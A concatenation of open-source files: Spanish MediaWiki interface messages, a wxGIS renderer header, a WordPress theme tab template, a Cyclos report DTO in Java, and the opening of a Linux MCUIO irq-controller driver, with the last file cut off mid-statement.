'version-poweredby-translators' => 'Traductores de translatewiki.net',
'version-credits-summary' => 'Queremos reconocer a las siguientes personas por su contribución a [[Special:Version|MediaWiki]].',
'version-license-info' => 'MediaWiki es software libre; puedes redistribuirlo y/o modificarlo bajo los términos de la Licencia General Pública de GNU como la publica la Free Software Foundation; ya sea la versión 2 de la licencia, o (a tu elección) cualquier versión posterior.
MediaWiki se distribuye con la esperanza de que será útil, pero SIN NINGUNA GARANTÍA; sin siquiera con la garantía implícita de COMERCIALIZACIÓN o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Consulta la Licencia Pública General de GNU para más detalles.
Has recibido [{{SERVER}}{{SCRIPTPATH}}/COPYING una copia de la Licencia Pública General de GNU] junto a este programa; si no es así, escríbele a la Free Software Foundation, Inc., Calle Franklin 51, quinto piso, Boston, MA 02110-1301, EE. UU. o [//www.gnu.org/licenses/old-licenses/gpl-2.0.html léela en línea].',
'version-software' => 'Software instalado',
'version-software-product' => 'Producto',
'version-software-version' => 'Versión',
'version-entrypoints' => 'URL del punto de entrada',
'version-entrypoints-header-entrypoint' => 'Punto de entrada',
'version-entrypoints-header-url' => 'Dirección URL',
'version-entrypoints-articlepath' => '[https://www.mediawiki.org/wiki/Manual:$wgArticlePath Ruta del artículo]',
'version-entrypoints-scriptpath' => '[https://www.mediawiki.org/wiki/Manual:$wgScriptPath Ruta de la secuencia de comandos (script)]',
# Special:Redirect
'redirect' => 'Redirigir por archivo, usuario, página o ID de revisión',
'redirect-legend' => 'Redirigir a un archivo o página',
'redirect-summary' => 'Esta página especial redirige a un fichero (dado un nombre de fichero), a una página (dado un identificador de revisión o de página) o a una página de usuario (dado un identificador numérico de usuario). Uso: [[{{#Special:Redirect}}/file/Example.jpg]], [[{{#Special:Redirect}}/revision/328429]], o [[{{#Special:Redirect}}/user/101]].',
'redirect-submit' => 'Ir',
'redirect-lookup' => 'Buscar:',
'redirect-value' => 'Valor:',
'redirect-user' => 'Id. del usuario',
'redirect-page' => 'ID de la página',
'redirect-revision' => 'Revisión de página',
'redirect-file' => 'Nombre de fichero',
'redirect-not-exists' => 'No se encontró el valor',
# Special:FileDuplicateSearch
'fileduplicatesearch' => 'Búsqueda de archivos duplicados',
'fileduplicatesearch-summary' => 'Búsqueda de archivos duplicados en base a su valor hash.',
'fileduplicatesearch-legend' => 'Busca duplicados',
'fileduplicatesearch-filename' => 'Nombre del fichero:',
'fileduplicatesearch-submit' => 'Buscar',
'fileduplicatesearch-info' => '$1 × $2 píxeles<br />Tamaño: $3<br />Tipo MIME: $4',
'fileduplicatesearch-result-1' => 'El archivo «$1» no tiene duplicados idénticos.',
'fileduplicatesearch-result-n' => 'El archivo «$1» tiene {{PLURAL:$2|1 duplicado idéntico|$2 duplicados idénticos}}.',
'fileduplicatesearch-noresults' => 'Ningún archivo con el nombre «$1» encontrado.',
# Special:SpecialPages
'specialpages' => 'Páginas especiales',
'specialpages-note-top' => 'Leyenda',
'specialpages-note' => '* Páginas especiales normales
* <span class="mw-specialpagerestricted">Páginas especiales restringidas.</span>
* <span class="mw-specialpagecached">Páginas especiales en caché (podrían ser obsoletas).</span>',
'specialpages-group-maintenance' => 'Reportes de mantenimiento',
'specialpages-group-other' => 'Otras páginas especiales',
'specialpages-group-login' => 'Iniciar sesión / Crear cuenta',
'specialpages-group-changes' => 'Cambios recientes y registros',
'specialpages-group-media' => 'Páginas sobre archivos',
'specialpages-group-users' => 'Usuarios y permisos',
'specialpages-group-highuse' => 'Páginas sobre usos',
'specialpages-group-pages' => 'Listas de páginas',
'specialpages-group-pagetools' => 'Herramientas de páginas',
'specialpages-group-wiki' => 'Herramientas y datos',
'specialpages-group-redirects' => 'Búsquedas y redirecciones',
'specialpages-group-spam' => 'Herramientas anti-SPAM',
# Special:BlankPage
'blankpage' => 'Página vacía',
'intentionallyblankpage' => 'Esta pagina está en blanco de manera intencionada.',
# External image whitelist
'external_image_whitelist' => ' #Deja esta línea exactamente como está<pre>
#Colocar fragmentos de expresiones regulares (sólo la parte que va entre los //) debajo
#Estos coincidirán con los URLs de las imágenes externas (hotlinked)
#Aquellos que coincidan serán mostrados como imágenes, de lo contrario solamente un vínculo a la imagen será mostrada
#Las líneas que empiezan por «#» se consideran comentarios
#Esta es insensible a las mayúsculas
#Colocar todos los fragmentos regex arriba de esta línea. Deja esta línea exactamente como está</pre>',
# Special:Tags
'tags' => 'Etiquetas de cambios',
'tag-filter' => 'Filtro de [[Special:Tags|etiquetas]]:',
'tag-filter-submit' => 'Filtro',
'tag-list-wrapper' => '([[Special:Tags|{{PLURAL:$1|Etiqueta|Etiquetas}}]]: $2)',
'tags-title' => 'Etiquetas',
'tags-intro' => 'Esta página lista las etiquetas con las que el software puede marcar una edición y su significado.',
'tags-tag' => 'Nombre de etiqueta',
'tags-display-header' => 'Apariencia de la lista de cambios',
'tags-description-header' => 'Descripción completa de significado',
'tags-active-header' => '¿Activo?',
'tags-hitcount-header' => 'Cambios etiquetados',
'tags-active-yes' => 'Sí',
'tags-active-no' => 'No',
'tags-edit' => 'editar',
'tags-hitcount' => '$1 {{PLURAL:$1|cambio|cambios}}',
# Special:ComparePages
'comparepages' => 'Comparar páginas',
'compare-page1' => 'Página 1',
'compare-page2' => 'Página 2',
'compare-rev1' => 'Revisión 1',
'compare-rev2' => 'Revisión 2',
'compare-submit' => 'Comparar',
'compare-invalid-title' => 'El título especificado es inválido.',
'compare-title-not-exists' => 'El título especificado no existe.',
'compare-revision-not-exists' => 'La revisión especificada no existe.',
# Database error messages
'dberr-header' => 'Este wiki tiene un problema',
'dberr-problems' => 'Lo sentimos. Este sitio está experimentando dificultades técnicas.',
'dberr-again' => 'Prueba a recargar dentro de unos minutos.',
'dberr-info' => '(No se puede contactar con la base de datos del servidor: $1)',
'dberr-info-hidden' => '(No se puede contactar con la base de datos del servidor)',
'dberr-usegoogle' => 'Mientras tanto puedes probar buscando a través de Google.',
'dberr-outofdate' => 'Ten en cuenta que su índice de nuestro contenido puede estar desactualizado.',
'dberr-cachederror' => 'La siguiente es una página guardada de la página solicitada, y puede no estar actualizada.',
# HTML forms
'htmlform-invalid-input' => 'Hay problemas con alguno de los datos que has ingresado',
'htmlform-select-badoption' => 'El valor que especificaste no es una opción válida.',
'htmlform-int-invalid' => 'El valor que especificaste no es un entero.',
'htmlform-float-invalid' => 'El valor que ha especificado no es un número.',
'htmlform-int-toolow' => 'El valor que especificaste está debajo del mínimo de $1',
'htmlform-int-toohigh' => 'El valor que especificaste está arriba del máximo de $1',
'htmlform-required' => 'Este valor es obligatorio',
'htmlform-submit' => 'Enviar',
'htmlform-reset' => 'Deshacer cambios',
'htmlform-selectorother-other' => 'Otro',
'htmlform-no' => 'No',
'htmlform-yes' => 'Sí',
'htmlform-chosen-placeholder' => 'Selecciona una opción',
# SQLite database support
'sqlite-has-fts' => '$1 con soporte para búsqueda de texto completo',
'sqlite-no-fts' => '$1 sin soporte para búsqueda de texto completo',
# New logging system
'logentry-delete-delete' => '$1 {{GENDER:$2|borró}} la página «$3»',
'logentry-delete-restore' => '$1 restauró la página «$3»',
'logentry-delete-event' => '$1 {{GENDER:$2|modificó}} la visibilidad de {{PLURAL:$5|un evento|$5 eventos}} del registro en $3: $4',
'logentry-delete-revision' => '$1 {{GENDER:$2|modificó}} la visibilidad de {{PLURAL:$5|una revisión |$5 revisiones}} en la página $3: $4',
'logentry-delete-event-legacy' => '$1 ha {{GENDER:$2|cambiado}} la visibilidad de registro de eventos en $3',
'logentry-delete-revision-legacy' => '$1 ha {{GENDER:$2|cambiado}} la visibilidad de las revisiones en la página $3',
'logentry-suppress-delete' => '$1 {{GENDER:$2|borró}}, con restricciones para administradores aplicadas, la página $3',
'logentry-suppress-event' => '$1 {{GENDER:$2|modificó}} secretamente la visibilidad de {{PLURAL:$5|una edición|$5 ediciones}} en la página $3: $4',
'logentry-suppress-revision' => '$1 modificó secretamente la visibilidad de {{PLURAL:$5|una edición|$5 ediciones}} en la página $3: $4',
'logentry-suppress-event-legacy' => '$1 {{GENDER:$2|modificó}} secretamente la visibilidad de los eventos del registro en $3',
'logentry-suppress-revision-legacy' => '$1 {{GENDER:$2|modificó}} secretamente la visibilidad de varias ediciones en la página $3',
'revdelete-content-hid' => 'contenido ocultado',
'revdelete-summary-hid' => 'resumen de edición oculto',
'revdelete-uname-hid' => 'nombre de usuario ocultado',
'revdelete-content-unhid' => 'contenido mostrado',
'revdelete-summary-unhid' => 'resumen de edición mostrado',
'revdelete-uname-unhid' => 'nombre de usuario mostrado',
'revdelete-restricted' => 'restricciones para administradores aplicadas',
'revdelete-unrestricted' => 'restricciones para administradores eliminadas',
'logentry-move-move' => '$1 movió la página $3 a $4',
'logentry-move-move-noredirect' => '$1 movió la página $3 a $4 sin dejar una redirección',
'logentry-move-move_redir' => '$1 movió la página $3 a $4 sobre una redirección',
'logentry-move-move_redir-noredirect' => '$1 movió la página $3 a $4 sobre una redirección y sin dejar una redirección',
'logentry-patrol-patrol' => '$1 {{GENDER:$2|marcó}} como patrullada la edición $4 de la página $3',
'logentry-patrol-patrol-auto' => '$1 {{GENDER:$2|marcó}} automáticamente la edición $4 de la página $3 como patrullada',
'logentry-newusers-newusers' => 'La cuenta de usuario $1 ha sido {{GENDER:$2|creada}}',
'logentry-newusers-create' => 'La cuenta de usuario $1 ha sido creada',
'logentry-newusers-create2' => 'La cuenta de usuario $3 ha sido creada por $1',
'logentry-newusers-byemail' => 'la cuenta de usuario $3 ha sido creada por $1 y la contraseña ha sido enviada por correo',
'logentry-newusers-autocreate' => 'La cuenta $1 fue creada automáticamente',
'logentry-rights-rights' => '$1 modificó los grupos a los que pertenece $3: de $4 a $5',
'logentry-rights-rights-legacy' => '$1 modificó los grupos a los que pertenece $3',
'logentry-rights-autopromote' => '$1 ha sido {{GENDER:$2|promocionado|promocionada}} automáticamente de $4 a $5',
'rightsnone' => '(ninguno)',
# Feedback
'feedback-bugornote' => 'Si estás preparado para describir en detalle un problema técnico, [$1 informa de un bug] por favor.
En otro caso, puedes usar el siguiente formulario. Tu comentario será añadido a la página [$3 $2], junto con tu nombre de usuario y el navegador que usas.',
'feedback-subject' => 'Asunto:',
'feedback-message' => 'Mensaje:',
'feedback-cancel' => 'Cancelar',
'feedback-submit' => 'Enviar comentarios',
'feedback-adding' => 'Añadiendo comentarios a la página...',
'feedback-error1' => 'Error: No se reconoce resultado de API',
'feedback-error2' => 'Error: Falló la edición',
'feedback-error3' => 'Error: No hay respuesta de la API',
'feedback-thanks' => '¡Gracias! Su comentario ha sido anotado en la página [$2 $1].',
'feedback-close' => 'Hecho',
'feedback-bugcheck' => '¡Perfecto! Únicamente comprueba que no sea un [$1 fallo conocido].',
'feedback-bugnew' => 'Lo he comprobado. Informar de un nuevo fallo.',
# Search suggestions
'searchsuggest-search' => 'Buscar',
'searchsuggest-containing' => 'que contiene...',
# API errors
'api-error-badaccess-groups' => 'No puedes cargar archivos en este wiki.',
'api-error-badtoken' => 'Error interno: Símbolo incorrecto.',
'api-error-copyuploaddisabled' => 'La subida por URL está desactivada en este servidor.',
'api-error-duplicate' => 'Ya existe{{PLURAL:$1| [$2 otro archivo]|[$2 n otros archivos]}} en el sitio con el mismo contenido.',
'api-error-duplicate-archive' => 'Ya {{PLURAL:$1|existía [$2 otro archivo]|existían [$2 otros archivos]}} en el sitio con el mismo contenido, pero {{PLURAL:$1|fue|fueron}} {{PLURAL:$1|eliminado|eliminados}}.',
'api-error-duplicate-archive-popup-title' => '{{PLURAL:$1|Archivo|Archivos}} {{PLURAL:$1|duplicado|duplicados}} que ya se han eliminado',
'api-error-duplicate-popup-title' => '{{PLURAL:$1|Archivo|Archivos}} {{PLURAL:$1|duplicado|duplicados}}',
'api-error-empty-file' => 'El archivo que enviaste estaba vacío.',
'api-error-emptypage' => 'No se pueden crear páginas nuevas que estén vacías.',
'api-error-fetchfileerror' => 'Error interno: Algo salió mal mientras se obtenía el archivo.',
'api-error-fileexists-forbidden' => 'Ya existe el archivo "$1" y no se puede sobreescribir.',
'api-error-fileexists-shared-forbidden' => 'Ya existe "$1" en el repositorio de archivos compartidos y no se puede sobreescribir.',
'api-error-file-too-large' => 'El archivo que enviaste era demasiado grande.',
'api-error-filename-tooshort' => 'El nombre de archivo es demasiado corto.',
'api-error-filetype-banned' => 'Este tipo de archivo está prohibido.',
'api-error-filetype-banned-type' => '$1 {{PLURAL:$4|no es un tipo de archivo permitido|no son tipos de archivos permitidos}}. {{PLURAL:$3|El tipo de archivo permitido es|Los tipos de archivos permitidos son}} $2.',
'api-error-filetype-missing' => 'El archivo no tiene extensión de archivo.',
'api-error-hookaborted' => 'La modificación que intentaste hacer fue cancelada por un gancho de extensión.',
'api-error-http' => 'Error interno: No se puede conectar al servidor.',
'api-error-illegal-filename' => 'El nombre de archivo no está permitido.',
'api-error-internal-error' => 'Error interno: Algo salió mal al procesar tu subida en el wiki.',
'api-error-invalid-file-key' => 'Error interno: No se encontró el archivo en el almacenamiento temporal.',
'api-error-missingparam' => 'Error interno: Faltan parámetros en la solicitud.',
'api-error-missingresult' => 'Error interno: No se pudo determinar si la copia tuvo éxito.',
'api-error-mustbeloggedin' => 'Debes iniciar sesión para subir archivos.',
'api-error-mustbeposted' => 'Error interno: La solicitud requiere HTTP POST.',
'api-error-noimageinfo' => 'La carga se realizó correctamente, pero el servidor no nos dio ninguna información sobre el archivo.',
'api-error-nomodule' => 'Error interno: No hay un módulo de carga configurado.',
'api-error-ok-but-empty' => 'Error interno: No hay respuesta del servidor.',
'api-error-overwrite' => 'No se permite sobrescribir un archivo existente.',
'api-error-stashfailed' => 'Error interno: El servidor no pudo almacenar el archivo temporal.',
'api-error-publishfailed' => 'Error interno: el servidor no pudo publicar el archivo temporal.',
'api-error-stasherror' => 'Ha ocurrido un error al subir el archivo al depósito.',
'api-error-timeout' => 'El servidor no respondió en el plazo previsto.',
'api-error-unclassified' => 'Ocurrió un error desconocido.',
'api-error-unknown-code' => 'Error desconocido: «$1»',
'api-error-unknown-error' => 'Error interno: Algo salió mal al intentar cargar el archivo.',
'api-error-unknown-warning' => 'Advertencia desconocida: $1',
'api-error-unknownerror' => 'Error desconocido: «$1».',
'api-error-uploaddisabled' => 'Las subidas están desactivadas en este wiki.',
'api-error-verification-error' => 'Este archivo puede estar dañado, o tiene una extensión incorrecta.',
# Durations
'duration-seconds' => '$1 {{PLURAL:$1|segundo|segundos}}',
'duration-minutes' => '$1 {{PLURAL:$1|minuto|minutos}}',
'duration-hours' => '$1 {{PLURAL:$1|hora|horas}}',
'duration-days' => '$1 {{PLURAL:$1|día|días}}',
'duration-weeks' => '$1 {{PLURAL:$1|semana|semanas}}',
'duration-years' => '$1 {{PLURAL:$1|año|años}}',
'duration-decades' => '$1 {{PLURAL:$1|década|décadas}}',
'duration-centuries' => '$1 {{PLURAL:$1|siglo|siglos}}',
'duration-millennia' => '$1 {{PLURAL:$1|milenio|milenios}}',
# Image rotation
'rotate-comment' => 'Imagen girada por $1 {{PLURAL:$1|grado|grados}} en el sentido de las agujas del reloj',
# Limit report
'limitreport-title' => 'Datos de perfilado del analizador:',
'limitreport-cputime' => 'Tiempo de uso de CPU',
'limitreport-cputime-value' => '$1 {{PLURAL:$1|segundo|segundos}}',
'limitreport-walltime' => 'Tiempo real de uso',
'limitreport-walltime-value' => '$1 {{PLURAL:$1|segundo|segundos}}',
'limitreport-ppvisitednodes' => 'N.º de nodos visitados por el preprocesador',
'limitreport-ppgeneratednodes' => 'N.º de nodos generados por el preprocesador',
'limitreport-postexpandincludesize' => 'Tamaño de inclusión posexpansión',
'limitreport-postexpandincludesize-value' => '$1/$2 {{PLURAL:$2|byte|bytes}}',
'limitreport-templateargumentsize' => 'Argumento del tamaño de la plantilla',
'limitreport-templateargumentsize-value' => '$1/$2 {{PLURAL:$2|byte|bytes}}',
'limitreport-expansiondepth' => 'Profundidad máxima de expansión',
'limitreport-expensivefunctioncount' => 'Cuenta de la funcion expansiva del analizador',
# Special:ExpandTemplates
'expandtemplates' => 'Expandir plantillas',
'expand_templates_intro' => 'Esta página especial toma un texto wiki y expande todas sus plantillas recursivamente.
También expande las funciones sintácticas como <code><nowiki>{{</nowiki>#language:…}}</code>, y variables como
<code><nowiki>{{</nowiki>CURRENTDAY}}</code>. De hecho, expande casi cualquier cosa que esté entre llaves dobles.',
'expand_templates_title' => 'Título de la página, útil para expandir <nowiki>{{PAGENAME}}</nowiki> o similares',
'expand_templates_input' => 'Texto a expandir:',
'expand_templates_output' => 'Resultado:',
'expand_templates_xml_output' => 'Salida XML',
'expand_templates_html_output' => 'Salida HTML en crudo',
'expand_templates_ok' => 'Aceptar',
'expand_templates_remove_comments' => 'Eliminar comentarios (<!-- ... -->)',
'expand_templates_remove_nowiki' => 'Suprimir <nowiki> etiquetas en resultado',
'expand_templates_generate_xml' => 'Mostrar el árbol XML.',
'expand_templates_generate_rawhtml' => 'Mostrar HTML en crudo',
'expand_templates_preview' => 'Previsualización',
# Unknown messages
'uploadinvalidxml' => 'No se pudo analizar el XML del archivo cargado.',
);
// Changes by Gershon Bialer to fix image namespace
$namespaceNames[NS_FILE] = 'Imagen';
$namespaceNames[NS_FILE_TALK] = 'Imagen_discusión';
unset($namespaceAliases['Imagen']);
unset($namespaceAliases['Imagen_Discusión']);
$namespaceAliases['Archivo'] = NS_FILE;
$namespaceAliases['Archivo_Discusión'] = NS_FILE_TALK;
|
legoktm/wikihow-src
|
languages/messages/MessagesEs.php
|
PHP
|
gpl-2.0
| 270,207
|
/******************************************************************************
* Project: wxGIS
* Purpose: wxGISSimpleRenderer class.
* Author: Dmitry Baryshnikov (aka Bishop), polimax@mail.ru
******************************************************************************
* Copyright (C) 2009,2011,2013 Dmitry Baryshnikov
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
****************************************************************************/
#pragma once
#include "wxgis/carto/renderer.h"
#include "wxgis/display/symbol.h"
class wxGISFeatureLayer;
/** @class wxGISSimpleRenderer
*
* The vector layer renderer
*
* @library{carto}
*/
class WXDLLIMPEXP_GIS_CRT wxGISFeatureRenderer :
public wxGISRenderer
{
DECLARE_CLASS(wxGISFeatureRenderer)
public:
wxGISFeatureRenderer(wxGISLayer* pwxGISLayer = NULL);
virtual ~wxGISFeatureRenderer(void);
virtual bool CanRender(wxGISLayer* const pwxGISLayer) const;
virtual bool Draw(wxGISEnumDrawPhase DrawPhase, wxGISDisplay* const pDisplay, ITrackCancel* const pTrackCancel = NULL);
virtual void SetSymbol(wxGISSymbol *pSymbol);
virtual void Draw(const wxGISSpatialTreeCursor& Cursor, wxGISEnumDrawPhase DrawPhase, wxGISDisplay *pDisplay, ITrackCancel *pTrackCancel = NULL);
virtual bool Apply(ITrackCancel* const pTrackCancel = NULL);
virtual void FeatureChanged(const wxGISFeature &Feature);
protected:
wxGISFeatureLayer* m_pwxGISFeatureLayer;
wxGISSymbol* m_pSymbol;
wxCriticalSection m_CritSect;
};
//WX_DECLARE_STRING_HASH_MAP( wxGISSymbol*, wxGISUniqueValuesSymbolMap );
WX_DECLARE_HASH_MAP(long, wxGISSymbol*, wxIntegerHash, wxIntegerEqual, wxGISUniqueValuesSymbolMap);
/** @class wxGISSimpleRenderer
*
* The vector layer renderer
*
* @library{carto}
*/
class WXDLLIMPEXP_GIS_CRT wxGISUniqueValueRenderer :
public wxGISFeatureRenderer
{
DECLARE_CLASS(wxGISFeatureRenderer)
public:
wxGISUniqueValueRenderer(wxGISLayer* pwxGISLayer = NULL);
virtual ~wxGISUniqueValueRenderer(void);
virtual void AddValue(int nField, const wxString &sValue, wxGISSymbol* const Symbol);
virtual void SetSymbol(wxGISSymbol *pSymbol);
virtual void Draw(const wxGISSpatialTreeCursor& Cursor, wxGISEnumDrawPhase DrawPhase, wxGISDisplay *pDisplay, ITrackCancel *pTrackCancel = NULL);
virtual bool Apply(ITrackCancel* const pTrackCancel = NULL);
virtual void FeatureChanged(const wxGISFeature &Feature);
typedef struct _uniq_value{
wxString sField;
wxString sValue;
wxGISSymbol* Symbol;
}UNIQ_VALUE;
protected:
wxVector<UNIQ_VALUE> m_astUniqueValues;
//wxArrayInt m_naCheckFields;
wxGISUniqueValuesSymbolMap m_omSymbols;
wxGISFeatureDataset *m_pwxGISFeatureDataset;
};
|
nextgis/nextgismanager
|
include/wxgis/carto/featurerenderer.h
|
C
|
gpl-2.0
| 3,367
|
<?php
function tie_home_tabs(){
$home_tabs_active = tie_get_option('home_tabs_box');
$home_tabs = tie_get_option('home_tabs');
$Posts = 5;
if( $home_tabs_active && $home_tabs ): ?>
<div id="cats-tabs-box" class="cat-box-content clear cat-box">
<div class="cat-tabs-header">
<ul>
<?php
foreach ($home_tabs as $cat ) { ?>
<li><a href="#catab<?php echo $cat; ?>"><?php echo get_the_category_by_ID($cat) ?></a></li>
<?php } ?>
</ul>
</div>
<?php
$cat_num = 0;
foreach ($home_tabs as $cat ) {
$count = 0;
$cat_num ++;
$cat_query = new WP_Query('cat='.$cat.'&posts_per_page='.$Posts); ?>
<div id="catab<?php echo $cat; ?>" class="cat-tabs-wrap cat-tabs-wrap<?php echo $cat_num; ?>">
<?php if($cat_query->have_posts()): ?>
<ul>
<?php while ( $cat_query->have_posts() ) : $cat_query->the_post(); $count ++ ;?>
<?php if($count == 1) : ?>
<li <?php tie_post_class('first-news'); ?>>
<?php if ( function_exists("has_post_thumbnail") && has_post_thumbnail() ) : ?>
<div class="post-thumbnail">
<a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'tie' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark">
<?php tie_thumb( 'tie-medium' ); ?>
<span class="overlay-icon"></span>
</a>
</div><!-- post-thumbnail /-->
<?php endif; ?>
<h2 class="post-box-title"><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'tie' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
<?php get_template_part( 'includes/boxes-meta' ); ?>
<div class="entry">
<?php tie_excerpt_home() ?>
<a class="more-link" href="<?php the_permalink() ?>"><?php _e( 'Read More »', 'tie' ) ?></a>
</div>
</li><!-- .first-news -->
<?php else: ?>
<li <?php tie_post_class(); ?>>
<?php if ( function_exists("has_post_thumbnail") && has_post_thumbnail() ) : ?>
<div class="post-thumbnail">
<a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'tie' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php tie_thumb(); ?><span class="overlay-icon"></span></a>
</div><!-- post-thumbnail /-->
<?php endif; ?>
<h3 class="post-box-title"><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'tie' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h3>
<?php get_template_part( 'includes/boxes-meta' ); ?>
</li>
<?php endif; ?>
<?php endwhile;?>
</ul>
<div class="clear"></div>
<?php endif; ?>
</div>
<?php } ?>
</div><!-- #cats-tabs-box /-->
<?php endif;
}
?>
|
shiedman/wordpress
|
wp-content/themes/sahifa/functions/home-cat-tabs.php
|
PHP
|
gpl-2.0
| 2,817
|
/*
This file is part of Cyclos (www.cyclos.org).
A project of the Social Trade Organisation (www.socialtrade.org).
Cyclos is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
Cyclos is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Cyclos; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
package nl.strohalm.cyclos.controls.reports.members.transactions;
import java.util.Collection;
import java.util.Map;
import nl.strohalm.cyclos.entities.accounts.AccountType;
import nl.strohalm.cyclos.entities.accounts.transactions.PaymentFilter;
import nl.strohalm.cyclos.entities.groups.MemberGroup;
import nl.strohalm.cyclos.utils.DataObject;
import nl.strohalm.cyclos.entities.utils.Period;
public class MembersTransactionsReportDTO extends DataObject {
public static enum DetailsLevel {
SUMMARY, TRANSACTIONS;
}
private static final long serialVersionUID = -5856820625601506756L;
private boolean memberName;
private boolean brokerUsername;
private boolean brokerName;
private Collection<AccountType> accountTypes;
private Collection<MemberGroup> memberGroups;
private Period period;
private boolean incomingTransactions;
private boolean outgoingTransactions;
private boolean includeNoTraders;
private DetailsLevel detailsLevel;
private Collection<PaymentFilter> transactionsPaymentFilters;
private Map<PaymentFilter, Integer> transactionsColSpan;
private Map<AccountType, Collection<PaymentFilter>> paymentFiltersByAccountType;
public Collection<AccountType> getAccountTypes() {
return accountTypes;
}
public int getBrokerColSpan() {
int colspan = 0;
if (isBrokerName()) {
colspan++;
}
if (isBrokerUsername()) {
colspan++;
}
return colspan;
}
public DetailsLevel getDetailsLevel() {
return detailsLevel;
}
public int getMemberColSpan() {
if (isMemberName()) {
return 2;
} else {
return 1;
}
}
public Collection<MemberGroup> getMemberGroups() {
return memberGroups;
}
public Map<AccountType, Collection<PaymentFilter>> getPaymentFiltersByAccountType() {
return paymentFiltersByAccountType;
}
public Period getPeriod() {
return period;
}
public Map<PaymentFilter, Integer> getTransactionsColSpan() {
return transactionsColSpan;
}
public Collection<PaymentFilter> getTransactionsPaymentFilters() {
return transactionsPaymentFilters;
}
public boolean isBrokerName() {
return brokerName;
}
public boolean isBrokerUsername() {
return brokerUsername;
}
public boolean isDebitsAndCredits() {
return isIncomingTransactions() && isOutgoingTransactions();
}
public boolean isIncludeNoTraders() {
return includeNoTraders;
}
public boolean isIncomingTransactions() {
return incomingTransactions;
}
public boolean isMemberName() {
return memberName;
}
public boolean isOutgoingTransactions() {
return outgoingTransactions;
}
public boolean isTransactions() {
return isIncomingTransactions() || isOutgoingTransactions();
}
public void setAccountTypes(final Collection<AccountType> accountTypes) {
this.accountTypes = accountTypes;
}
public void setBrokerName(final boolean brokerName) {
this.brokerName = brokerName;
}
public void setBrokerUsername(final boolean brokerUsername) {
this.brokerUsername = brokerUsername;
}
public void setDetailsLevel(final DetailsLevel detailsLevel) {
this.detailsLevel = detailsLevel;
}
public void setIncludeNoTraders(final boolean includeNoTraders) {
this.includeNoTraders = includeNoTraders;
}
public void setIncomingTransactions(final boolean incomingTransactions) {
this.incomingTransactions = incomingTransactions;
}
public void setMemberGroups(final Collection<MemberGroup> memberGroups) {
this.memberGroups = memberGroups;
}
public void setMemberName(final boolean memberName) {
this.memberName = memberName;
}
public void setOutgoingTransactions(final boolean outgoingTransactions) {
this.outgoingTransactions = outgoingTransactions;
}
public void setPaymentFiltersByAccountType(final Map<AccountType, Collection<PaymentFilter>> paymentFiltersByAccountType) {
this.paymentFiltersByAccountType = paymentFiltersByAccountType;
}
public void setPeriod(final Period period) {
this.period = period;
}
public void setTransactionsColSpan(final Map<PaymentFilter, Integer> transactionsColSpan) {
this.transactionsColSpan = transactionsColSpan;
}
public void setTransactionsPaymentFilters(final Collection<PaymentFilter> transactionsPaymentFilters) {
this.transactionsPaymentFilters = transactionsPaymentFilters;
}
}
|
mateli/OpenCyclos
|
src/main/java/nl/strohalm/cyclos/controls/reports/members/transactions/MembersTransactionsReportDTO.java
|
Java
|
gpl-2.0
| 5,944
|
/*
* Copyright 2011 Dog Hunter SA
* Author: Davide Ciminaghi <ciminaghi@gnudd.com>
*
* GNU GPLv2 or later
*/
/* #define DEBUG */
/* MCUIO local msg irq controller device */
/*
* This module implements a soft local irq controller device, which is
* instantiated by the soft hc controller.
* Actual interrupts are triggered by remote device write accesses to
* this device.
*
* +---------------------+ +----------------------+
* |MPU | | MCU |
* | | | |
* | +------------------------+ |
* | V wr@0xXXX | | | |
* |+----------------+ | |+--------------+ |
* || local irq ctrl | | ||irq ctrl msg | |
* |+----------------+ | |+--------------+ |
* +---------------------+ +----------------------+
*/
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/types.h>
#include <linux/regmap.h>
#include <linux/interrupt.h>
#include <linux/irq.h>
#include <linux/workqueue.h>
#include <linux/kthread.h>
#include <linux/mutex.h>
#include <linux/gpio.h>
#include <linux/delay.h>
#include <linux/mcuio.h>
#include <linux/mcuio-hc.h>
#include <linux/mcuio_ids.h>
#include <linux/mcuio-proto.h>
#include "mcuio-internal.h"
/* Interrupt messages */
#define MCUIO_IRQ_TRIGGER 0xf80
/*
* Data concerning irq of a single function
*
* @irq_kwork: kthread_worker for irq generation
* @irq_kworker_task: irq generation task
* @do_irq: kthread_work for irq generation
*/
struct fn_irqdata {
struct kthread_worker irq_kworker;
struct task_struct *irq_kworker_task;
struct kthread_work do_irq;
int irq;
};
/*
* private data for message based soft local irq controller
*/
struct soft_local_irq_ctrl_msg {
struct mcuio_device mdev;
struct mcuio_request write_req;
struct irq_chip chip;
int base_irq;
struct fn_irqdata irqdata[MCUIO_FUNCS_PER_DEV];
atomic_t removing;
};
static const struct attribute_group *soft_local_irq_ctrl_dev_attr_groups[] = {
&mcuio_default_dev_attr_group,
NULL,
};
void mcuio_soft_local_irq_ctrl_release(struct device *dev)
{
struct mcuio_device *mdev = to_mcuio_dev(dev);
struct soft_local_irq_ctrl_msg *slicm =
